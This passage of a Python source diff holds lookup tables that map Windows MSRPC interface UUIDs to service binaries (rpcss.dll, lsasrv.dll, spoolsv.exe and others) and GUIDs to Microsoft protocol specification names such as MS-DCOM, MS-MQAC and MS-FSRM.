+b"\x36\x00\x61\x20\x22\xfa\xcf\x11\x98\x23\x00\xa0\xc9\x11\xe5\xdf\x01\x00": "rasmans.dll", +b"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", +b"\x1c\xef\x74\x0a\xa4\x41\x06\x4e\x83\xae\xdc\x74\xfb\x1c\xdd\x53\x01\x00": "schedsvc.dll", +b"\x25\x04\x49\xdd\x25\x53\x65\x45\xb7\x74\x7e\x27\xd6\xc0\x9c\x24\x01\x00": "BFE.DLL", +b"\x7c\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x15\x00": "ntdsa.dll", +b"\xa0\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", +b"\x49\x59\xd3\x86\xc9\x83\x44\x40\xb4\x24\xdb\x36\x32\x31\xfd\x0c\x01\x00": "schedsvc.dll", +b"\x35\x08\x22\x11\x26\x5b\x94\x4d\xae\x86\xc3\xe4\x75\xa8\x09\xde\x01\x00": "lsasrv.dll", +b"\xa8\x66\x00\xc8\x79\x75\xfc\x44\xb9\xb2\x84\x66\x93\x07\x91\xb0\x01\x00": "umrdp.dll", +b"\xab\x59\xec\xf1\xa9\x4c\x30\x4c\xb2\xd0\x54\xef\x1d\xb4\x41\xb7\x01\x00": "iertutil.dll", +b"\xba\xaa\x67\x52\x49\x4f\x53\x46\x8e\x26\xd1\xe1\x1f\x3f\x2a\xd9\x01\x00": "termsrv.dll", +b"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x00": "rpcss.dll", +b"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x02": "rpcss.dll", +b"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x02": "audiosrv.dll", +b"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x01": "audiosrv.dll", +b"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x02": "netdde.exe", +b"\xbf\x11\x9d\x7f\xb9\x7f\x6b\x43\xa8\x12\xb2\xd5\x0c\x5d\x4c\x03\x01\x00": "MPSSVC.dll", +b"\xbf\x52\x5a\xb2\xdd\xe5\x4a\x4f\xae\xa6\x8c\xa7\x27\x2a\x0e\x86\x01\x00": "keyiso.dll", +b"\x04\x22\x11\x4b\x19\x0e\xd3\x11\xb4\x2b\x00\x00\xf8\x1f\xeb\x9f\x01\x00": "ssdpsrv.dll", +b"\x97\xb2\xee\x04\xf4\xcb\x6b\x46\x8a\x2a\xbf\xd6\xa2\xf1\x0b\xba\x01\x00": "efssvc.dll", +b"\x40\xb2\x9b\x20\x19\xb9\xd1\x11\xbb\xb6\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irmon.dll", +b"\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09\x01\x00": "spoolsv.exe", +b"\x4a\xa5\xbb\x06\x05\xbe\xf9\x49\xb0\xa0\x30\xf7\x90\x26\x10\x23\x01\x00": "wscsvc.dll", +b"\xa6\xb2\xdd\x1b\xc3\xc0\xbe\x41\x87\x03\xdd\xbd\xf4\xf0\xe8\x0a\x01\x00": "dot3svc.dll", +b"\x82\x15\x41\xaa\xdf\x9b\xfb\x48\xb4\x2b\xfa\xa1\xee\xe3\x39\x49\x01\x00": "nlasvc.dll", +b"\xfa\x9d\xd7\xd2\x00\x34\xd0\x11\xb4\x0b\x00\xaa\x00\x5f\xf5\x86\x01\x00": "dmadmin.exe", +b"\x12\xfc\x99\x60\xff\x3e\xd0\x11\xab\xd0\x00\xc0\x4f\xd9\x1a\x4e\x03\x00": "FXSAPI.dll", +b"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x00": "rpcss.dll", +b"\xd5\x33\x9a\x2c\xdb\xf1\x2d\x47\x84\x64\x42\xb8\xb0\xc7\x6c\x38\x01\x00": "tbssvc.dll", +b"\x30\x7c\xde\x3d\x5d\x16\xd1\x11\xab\x8f\x00\x80\x5f\x14\xdb\x40\x01\x00": "services.exe", +b"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x01": "ntfrs.exe", +b"\x94\x8c\x95\x95\x24\xa4\x55\x40\xb6\x2b\xb7\xf4\xd5\xc4\x77\x70\x01\x00": "winlogon.exe", +b"\xe3\x31\x67\x32\xc0\xc1\x69\x4a\xae\x20\x7d\x90\x44\xa4\xea\x5c\x01\x00": "profsvc.dll", +b"\x18\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x38\x00": "ntdsai.dll", +b"\x0f\x6a\xe9\x4b\x52\x9f\x29\x47\xa5\x1d\xc7\x06\x10\xf1\x18\xb0\x01\x00": "wbiosrvc.dll", +b"\x80\x42\xad\x82\x6b\x03\xcf\x11\x97\x2c\x00\xaa\x00\x68\x87\xb0\x02\x00": "infocomm.dll", +b"\x87\x04\x26\x1f\x29\xba\x13\x4f\x92\x8a\xbb\xd2\x97\x61\xb0\x83\x01\x00": "termsrv.dll", +b"\x70\x07\xf7\x18\x64\x8e\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x00\x00": "ole32.dll", +b"\xc0\xeb\x4f\xfa\x91\x45\xce\x11\x95\xe5\x00\xaa\x00\x51\xe5\x10\x04\x00": "autmgr32.exe", +b"\x10\xca\x8c\x70\x69\x95\xd1\x11\xb2\xa5\x00\x60\x97\x7d\x81\x18\x01\x00": "mqdssrv.dll", +b"\x28\x2c\xf5\x45\x9f\x7f\x1a\x10\xb5\x2b\x08\x00\x2b\x2e\xfa\xbe\x01\x00": "WINS.EXE", +b"\x31\xa3\x59\x2f\x7d\xbf\xcb\x48\x9e\x5c\x7c\x09\x0d\x76\xe8\xb8\x01\x00": "termsrv.dll", +b"\x61\x26\x45\x4a\x90\x82\x36\x4b\x8f\xbe\x7f\x40\x93\xa9\x49\x78\x01\x00": "spoolsv.exe", +} + +KNOWN_PROTOCOLS = { +'52C80B95-C1AD-4240-8D89-72E9FA84025E':'[MC-CCFG]: Server Cluster:', +'FA7660F6-7B3F-4237-A8BF-ED0AD0DCBBD9':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'450386DB-7409-4667-935E-384DBBEE2A9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'832A32F7-B3EA-4B8C-B260-9A2923001184':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'2D9915FB-9D42-4328-B782-1B46819FAB9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0DD8A158-EBE6-4008-A1D9-B7ECC8F1104B':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0716CAF8-7D05-4A46-8099-77594BE91394':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'B80F3C42-60E0-4AE0-9007-F52852D3DBED':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0344CDDA-151E-4CBF-82DA-66AE61E97754':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'8BED2C68-A5FB-4B28-8581-A0DC5267419F':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'7883CA1C-1112-4447-84C3-52FBEB38069D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'09829352-87C2-418D-8D79-4133969A489D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'5B5A68E6-8B9F-45E1-8199-A95FFCCDFFFF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'9BE77978-73ED-4A9A-87FD-13F09FEC1B13':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'ED35F7A1-5024-4E7B-A44D-07DDAF4B524D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'4DFA1DF3-8900-4BC7-BBB5-D1A458C52410':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'370AF178-7758-4DAD-8146-7391F6E18585':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'C8550BFF-5281-4B1E-AC34-99B6FA38464D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'08A90F5F-0702-48D6-B45F-02A9885A9768':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'8F6D760F-F0CB-4D69-B5F6-848B33E9BDC6':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'E7927575-5CC3-403B-822E-328A6B904BEE':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'DE095DB1-5368-4D11-81F6-EFEF619B7BCF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'64FF8CCC-B287-4DAE-B08A-A72CBF45F453':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'EAFE4895-A929-41EA-B14D-613E23F62B71':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'EF13D885-642C-4709-99EC-B89561C6BC69':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0191775E-BCFF-445A-B4F4-3BDDA54E2816':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'31A83EA0-C0E4-4A2C-8A01-353CC2A4C60A':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'D6C7CD8F-BB8D-4F96-B591-D3A5F1320269':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'ADA4E6FB-E025-401E-A5D0-C3134A281F07':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'B7D381EE-8860-47A1-8AF4-1F33B2B1F325':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'C5C04795-321C-4014-8FD6-D44658799393':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'EBA96B22-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'12A30900-7300-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B24-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'2CE0C5B0-6E67-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B0E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B285-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'39CE96FE-F4C5-4484-A143-4C2D5D324229':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07F-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1A-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B18-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B23-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B14-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'FD174A80-89CF-11D2-B0F2-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'F72B9031-2F0C-43E8-924E-E6052CDC493F':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E072-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E075-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'0188401C-247A-4FED-99C6-BF14119D7055':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B15-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07C-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'BE5F0241-E489-4957-8CC4-A452FCF3E23E':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1C-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E077-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E078-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B284-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E073-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07D-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1B-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E079-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E084-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'33B6D07E-F27D-42FA-B2D7-BF82E11E9374':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07A-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'0188AC2F-ECB3-4173-9779-635CA2039C72':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E085-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EF0574E0-06D8-11D3-B100-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E086-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B286-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'D9933BE0-A567-11D2-B0F3-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7AB3341-C9D3-11D1-BB47-0080C7C5A2C0':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E082-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'0FB15084-AF41-11CE-BD2B-204C4F4F5020':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E083-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B13-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1D-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B17-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B20-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E074-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'7FBE7759-5760-444D-B8A5-5E7AB9A84CCE':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B287-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B12-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07E-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E081-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07B-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'64C478FB-F9B0-4695-8A7F-439AC94326D3':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B16-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B19-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B10-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B21-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E076-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B0F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B11-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E080-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'4639DB2A-BFC5-11D2-9318-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', +'0EAC4842-8763-11CF-A743-00AA00A3F00D':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', +'070669EB-B52F-11D1-9270-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', +'3DDE7C30-165D-11D1-AB8F-00805F14DB40':'[MS-BKRP]: BackupKey Remote Protocol', +'E3D0D746-D2AF-40FD-8A7A-0D7078BB7092':'[MS-BPAU]: Background Intelligent Transfer Service (BITS) Peer-', +'6BFFD098-A112-3610-9833-012892020162':'[MS-BRWSA]: Common Internet File System (CIFS) Browser Auxiliary', +'AFC07E2E-311C-4435-808C-C483FFEEC7C9':'[MS-CAPR]: Central Access Policy Identifier (ID) Retrieval Protocol', +'B97DB8B2-4C63-11CF-BFF6-08002BE23F2F':'[MS-CMRP]: Failover Cluster:', +'97199110-DB2E-11D1-A251-0000F805CA53':'[MS-COM]: Component Object Model Plus (COM+) Protocol', +'0E3D6630-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'3F3B1B86-DBBE-11D1-9DA6-00805F85CFE3':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'7F43B400-1A0E-4D57-BBC9-6B0C65F7A889':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'456129E2-1078-11D2-B0F9-00805FC73204':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'8DB2180E-BD29-11D1-8B7E-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'182C40FA-32E4-11D0-818B-00A0C9231C29':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'971668DC-C3FE-4EA1-9643-0C7230F494A1':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'98315903-7BE5-11D2-ADC1-00A02463D6E7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'6C935649-30A6-4211-8687-C4C83E5FE1C7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'F131EA3E-B7BE-480E-A60D-51CB2785779E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'1F7B1697-ECB2-4CBB-8A0E-75C427F4A6F0':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'A8927A41-D3CE-11D1-8472-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'CFADAC84-E12C-11D1-B34C-00C04F990D54':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'1D118904-94B3-4A64-9FA6-ED432666A7B9':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'47CDE9A1-0BF6-11D2-8016-00C04FB9988E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'0E3D6631-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'C2BE6970-DF9E-11D1-8B87-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'C726744E-5735-4F08-8286-C510EE638FB6':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'FBC1D17D-C498-43A0-81AF-423DDD530AF6':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'F89AC270-D4EB-11D1-B682-00805FC79216':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'FB2B72A1-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'4E14FB9F-2E22-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'A0E8F27A-888C-11D1-B763-00C04FB926AF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'7FB7EA43-2D76-4EA8-8CD9-3DECC270295E':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'99CC098F-A48A-4E9C-8E58-965C0AFC19D5':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'FB2B72A0-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'4A6B0E16-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'F4A07D63-2E25-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'4A6B0E15-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'B60040E0-BCF3-11D1-861D-0080C729264D':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', +'23C9DD26-2355-4FE2-84DE-F779A238ADBD':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', +'4E6CDCC9-FB25-4FD5-9CC5-C9F4B6559CEC':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', +'D99E6E71-FC88-11D0-B498-00A0C90312F3':'[MS-CSRA]: Certificate Services Remote Administration Protocol', +'7FE0D935-DDA6-443F-85D0-1CFB58FE41DD':'[MS-CSRA]: Certificate Services Remote Administration Protocol', +'E1568352-586D-43E4-933F-8E6DC4DE317A':'[MS-CSVP]: Failover Cluster:', +'11942D87-A1DE-4E7F-83FB-A840D9C5928D':'[MS-CSVP]: Failover Cluster:', +'491260B5-05C9-40D9-B7F2-1F7BDAE0927F':'[MS-CSVP]: Failover Cluster:', +'C72B09DB-4D53-4F41-8DCC-2D752AB56F7C':'[MS-CSVP]: Failover Cluster:', +'E3C9B851-C442-432B-8FC6-A7FAAFC09D3B':'[MS-CSVP]: Failover Cluster:', +'4142DD5D-3472-4370-8641-DE7856431FB0':'[MS-CSVP]: Failover Cluster:', +'D6105110-8917-41A5-AA32-8E0AA2933DC9':'[MS-CSVP]: Failover Cluster:', +'A6D3E32B-9814-4409-8DE3-CFA673E6D3DE':'[MS-CSVP]: Failover Cluster:', +'04D55210-B6AC-4248-9E69-2A569D1D2AB6':'[MS-CSVP]: Failover Cluster:', +'2931C32C-F731-4C56-9FEB-3D5F1C5E72BF':'[MS-CSVP]: Failover Cluster:', +'12108A88-6858-4467-B92F-E6CF4568DFB6':'[MS-CSVP]: Failover Cluster:', +'85923CA7-1B6B-4E83-A2E4-F5BA3BFBB8A3':'[MS-CSVP]: Failover Cluster:', +'F1D6C29C-8FBE-4691-8724-F6D8DEAEAFC8':'[MS-CSVP]: Failover Cluster:', +'3CFEE98C-FB4B-44C6-BD98-A1DB14ABCA3F':'[MS-CSVP]: Failover Cluster:', +'88E7AC6D-C561-4F03-9A60-39DD768F867D':'[MS-CSVP]: Failover Cluster:', +'00000131-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'00000143-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'000001A0-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'99FCFEC4-5260-101B-BBCB-00AA0021347A':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'00000000-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'4FC742E0-4A10-11CF-8273-00AA004AE673':'[MS-DFSNM]: Distributed File System (DFS):', +'9009D654-250B-4E0D-9AB0-ACB63134F69F':'[MS-DFSRH]: DFS Replication Helper Protocol', +'E65E8028-83E8-491B-9AF7-AAF6BD51A0CE':'[MS-DFSRH]: DFS Replication Helper Protocol', +'D3766938-9FB7-4392-AF2F-2CE8749DBBD0':'[MS-DFSRH]: DFS Replication Helper Protocol', +'4BB8AB1D-9EF9-4100-8EB6-DD4B4E418B72':'[MS-DFSRH]: DFS Replication Helper Protocol', +'CEB5D7B4-3964-4F71-AC17-4BF57A379D87':'[MS-DFSRH]: DFS Replication Helper Protocol', +'7A2323C7-9EBE-494A-A33C-3CC329A18E1D':'[MS-DFSRH]: DFS Replication Helper Protocol', +'20D15747-6C48-4254-A358-65039FD8C63C':'[MS-DFSRH]: DFS Replication Helper Protocol', +'C4B0C7D9-ABE0-4733-A1E1-9FDEDF260C7A':'[MS-DFSRH]: DFS Replication Helper Protocol', +'6BFFD098-A112-3610-9833-46C3F874532D':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', +'5B821720-F63B-11D0-AAD2-00C04FC324DB':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', +'4DA1C422-943D-11D1-ACAE-00C04FC2AA3F':'[MS-DLTM]: Distributed Link Tracking:', +'300F3532-38CC-11D0-A3F0-0020AF6B0ADD':'[MS-DLTW]: Distributed Link Tracking:', +'D2D79DF5-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', +'DEB01010-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', +'3A410F21-553F-11D1-8E5E-00A0C92C9D5D':'[MS-DMRP]: Disk Management Remote Protocol', +'D2D79DF7-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', +'4BDAFC52-FE6A-11D2-93F8-00105A11164A':'[MS-DMRP]: Disk Management Remote Protocol', +'135698D2-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', +'50ABC2A4-574D-40B3-9D66-EE4FD5FBA076':'[MS-DNSP]: Domain Name Service (DNS) Server Management', +'7C44D7D4-31D5-424C-BD5E-2B3E1F323D22':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', +'3919286A-B10C-11D0-9BA8-00C04FD92EF5':'[MS-DSSP]: Directory Services Setup Remote Protocol', +'14A8831C-BC82-11D2-8A64-0008C7457E5D':'[MS-EERR]: ExtendedError Remote Data Structure', +'C681D488-D850-11D0-8C52-00C04FD90F7E':'[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol', +'82273FDC-E32A-18C3-3F78-827929DC23EA':'[MS-EVEN]: EventLog Remoting Protocol', +'6B5BDD1E-528C-422C-AF8C-A4079BE4FE48':'[MS-FASP]: Firewall and Advanced Security Protocol', +'6099FC12-3EFF-11D0-ABD0-00C04FD91A4E':'[MS-FAX]: Fax Server and Client Remote Protocol', +'EA0A3165-4834-11D2-A6F8-00C04FA346CC':'[MS-FAX]: Fax Server and Client Remote Protocol', +'897E2E5F-93F3-4376-9C9C-FD2277495C27':'[MS-FRS2]: Distributed File System Replication Protocol', +'377F739D-9647-4B8E-97D2-5FFCE6D759CD':'[MS-FSRM]: File Server Resource Manager Protocol', +'F411D4FD-14BE-4260-8C40-03B7C95E608A':'[MS-FSRM]: File Server Resource Manager Protocol', +'4C8F96C3-5D94-4F37-A4F4-F56AB463546F':'[MS-FSRM]: File Server Resource Manager Protocol', +'CFE36CBA-1949-4E74-A14F-F1D580CEAF13':'[MS-FSRM]: File Server Resource Manager Protocol', +'8276702F-2532-4839-89BF-4872609A2EA4':'[MS-FSRM]: File Server Resource Manager Protocol', +'4A73FEE4-4102-4FCC-9FFB-38614F9EE768':'[MS-FSRM]: File Server Resource Manager Protocol', +'F3637E80-5B22-4A2B-A637-BBB642B41CFC':'[MS-FSRM]: File Server Resource Manager Protocol', +'1568A795-3924-4118-B74B-68D8F0FA5DAF':'[MS-FSRM]: File Server Resource Manager Protocol', +'6F4DBFFF-6920-4821-A6C3-B7E94C1FD60C':'[MS-FSRM]: File Server Resource Manager Protocol', +'39322A2D-38EE-4D0D-8095-421A80849A82':'[MS-FSRM]: File Server Resource Manager Protocol', +'326AF66F-2AC0-4F68-BF8C-4759F054FA29':'[MS-FSRM]: File Server Resource Manager Protocol', +'27B899FE-6FFA-4481-A184-D3DAADE8A02B':'[MS-FSRM]: File Server Resource Manager Protocol', +'E1010359-3E5D-4ECD-9FE4-EF48622FDF30':'[MS-FSRM]: File Server Resource Manager Protocol', +'8DD04909-0E34-4D55-AFAA-89E1F1A1BBB9':'[MS-FSRM]: File Server Resource Manager Protocol', +'96DEB3B5-8B91-4A2A-9D93-80A35D8AA847':'[MS-FSRM]: File Server Resource Manager Protocol', +'D8CC81D9-46B8-4FA4-BFA5-4AA9DEC9B638':'[MS-FSRM]: File Server Resource Manager Protocol', +'EDE0150F-E9A3-419C-877C-01FE5D24C5D3':'[MS-FSRM]: File Server Resource Manager Protocol', +'15A81350-497D-4ABA-80E9-D4DBCC5521FE':'[MS-FSRM]: File Server Resource Manager Protocol', +'12937789-E247-4917-9C20-F3EE9C7EE783':'[MS-FSRM]: File Server Resource Manager Protocol', +'F76FBF3B-8DDD-4B42-B05A-CB1C3FF1FEE8':'[MS-FSRM]: File Server Resource Manager Protocol', +'CB0DF960-16F5-4495-9079-3F9360D831DF':'[MS-FSRM]: File Server Resource Manager Protocol', 